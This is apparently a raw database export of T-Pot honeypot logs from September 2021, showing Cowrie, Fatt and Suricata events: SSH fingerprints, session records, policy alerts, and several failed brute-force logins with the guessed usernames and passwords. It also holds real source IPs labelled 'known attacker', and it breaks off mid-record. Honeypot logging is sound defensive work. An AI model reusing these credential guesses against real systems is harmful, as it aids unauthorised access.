"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29004	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:21:31.047793+03	2021-09-20 14:30:03.567524+03	{"_id": "7wbwAnwBvYTbRNuEjTHa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54868, "dest_port": 22, "timestamp": "2021-09-20T11:21:31.047793", "@timestamp": "2021-09-20T11:21:31.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29005	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:21:31.048444+03	2021-09-20 14:30:03.568523+03	{"_id": "8QbwAnwBvYTbRNuEjjHR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ced9ca560260", "@version": "1", "timestamp": "2021-09-20T11:21:31.048444Z", "@timestamp": "2021-09-20T11:21:31.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29006	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:21:31.434058+03	2021-09-20 14:30:03.570524+03	{"_id": "8gbwAnwBvYTbRNuEjjHR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/234wersdfxcv] failed", "session": "92e88d15184c", "@version": "1", "password": "234wersdfxcv", "username": "root", "timestamp": "2021-09-20T11:21:31.434058Z", "@timestamp": "2021-09-20T11:21:31.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29007	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:21:33.127064+03	2021-09-20 14:30:03.572524+03	{"_id": "_gbwAnwBvYTbRNuElTGr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51564, "dest_port": 22, "timestamp": "2021-09-20T11:21:33.127064", "@timestamp": "2021-09-20T11:21:33.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30081	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:32:01.930466+03	2021-09-20 14:45:02.545142+03	{"_id": "LQb6AnwBvYTbRNuELjqo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:01.930466Z", "@timestamp": "2021-09-20T11:32:01.930Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
29008	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:21:33.127673+03	2021-09-20 14:30:03.573524+03	{"_id": "AAbwAnwBvYTbRNuEljKm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b9f96db481fb", "@version": "1", "timestamp": "2021-09-20T11:21:33.127673Z", "@timestamp": "2021-09-20T11:21:33.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29009	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:21:33.990276+03	2021-09-20 14:30:03.574523+03	{"_id": "AQbwAnwBvYTbRNuEljKm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/252525] failed", "session": "92e88d15184c", "@version": "1", "password": "252525", "username": "root", "timestamp": "2021-09-20T11:21:33.990276Z", "@timestamp": "2021-09-20T11:21:33.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29010	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:21:34.30057+03	2021-09-20 14:30:03.575524+03	{"_id": "AgbwAnwBvYTbRNuEmDJY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:21:30.486442+0000", "pkts_toclient": 13, "pkts_toserver": 10, "bytes_toclient": 2425, "bytes_toserver": 2050}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 250349058944042, "payload": "dJDx1rAT1Rs0kmEF/+GCF0MrYFgjZlndJjEjDL911+Xb52BgG9Ol8Lk1y5XwsXvMU3crLcBCRvec0K/ZfJVxkZigoekn7UD+YS+Q97s9vbpLn0BWs1fo0w3AZZexBtms", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 54868, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:21:34.300570Z", "@timestamp": "2021-09-20T11:21:34.300Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "t.......4.a.....C+`X#fY.&1#..u....``.....5....{.Sw+-.BF.....|.q.....'.@.a/...=..K.@V.W..\\r.e....."}}	1	\N	\N	alert	known attacker	\N
29011	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:21:34.25687+03	2021-09-20 14:30:03.577525+03	{"_id": "AwbwAnwBvYTbRNuEmjKN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [ash/ash] failed", "session": "b9f96db481fb", "@version": "1", "password": "ash", "username": "ash", "timestamp": "2021-09-20T11:21:34.256870Z", "@timestamp": "2021-09-20T11:21:34.256Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29012	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:21:34.302551+03	2021-09-20 14:30:03.578525+03	{"_id": "BAbwAnwBvYTbRNuEmjKN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ced9ca560260", "@version": "1", "duration": 3.5328779220581055, "timestamp": "2021-09-20T11:21:34.302551Z", "@timestamp": "2021-09-20T11:21:34.302Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29032	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:21:35.527655+03	2021-09-20 14:30:03.606524+03	{"_id": "BwbwAnwBvYTbRNuEnjJ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b9f96db481fb", "@version": "1", "duration": 2.659367561340332, "timestamp": "2021-09-20T11:21:35.527655Z", "@timestamp": "2021-09-20T11:21:35.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29013	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:21:52.454162+03	2021-09-20 14:30:03.580523+03	{"_id": "IwbwAnwBvYTbRNuE3zLr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45852, "timestamp": "2021-09-20T11:21:52.454162", "@timestamp": "2021-09-20T11:21:52.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29014	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:21:52.174556+03	2021-09-20 14:30:03.581524+03	{"_id": "KQbwAnwBvYTbRNuE4DLj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:45852 (192.168.176.2:22) [session: 399e8145648d]", "session": "399e8145648d", "@version": "1", "protocol": "ssh", "src_port": 45852, "dest_port": 22, "timestamp": "2021-09-20T11:21:52.174556Z", "@timestamp": "2021-09-20T11:21:52.174Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29015	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:21:52.180907+03	2021-09-20 14:30:03.582523+03	{"_id": "KgbwAnwBvYTbRNuE4DLj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "399e8145648d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:21:52.180907Z", "@timestamp": "2021-09-20T11:21:52.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29016	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:21:44.000579+03	2021-09-20 14:30:03.584524+03	{"_id": "LgbwAnwBvYTbRNuE4jKY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:43.532817+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "87.251.67.120", "flow_id": 1483107749011793, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 33645, "timestamp": "2021-09-20T11:21:44.000579Z", "@timestamp": "2021-09-20T11:21:44.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29017	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:21:52.458921+03	2021-09-20 14:30:03.585524+03	{"_id": "LwbwAnwBvYTbRNuE4jKZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:21:51.894747+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 674142073366299, "payload": 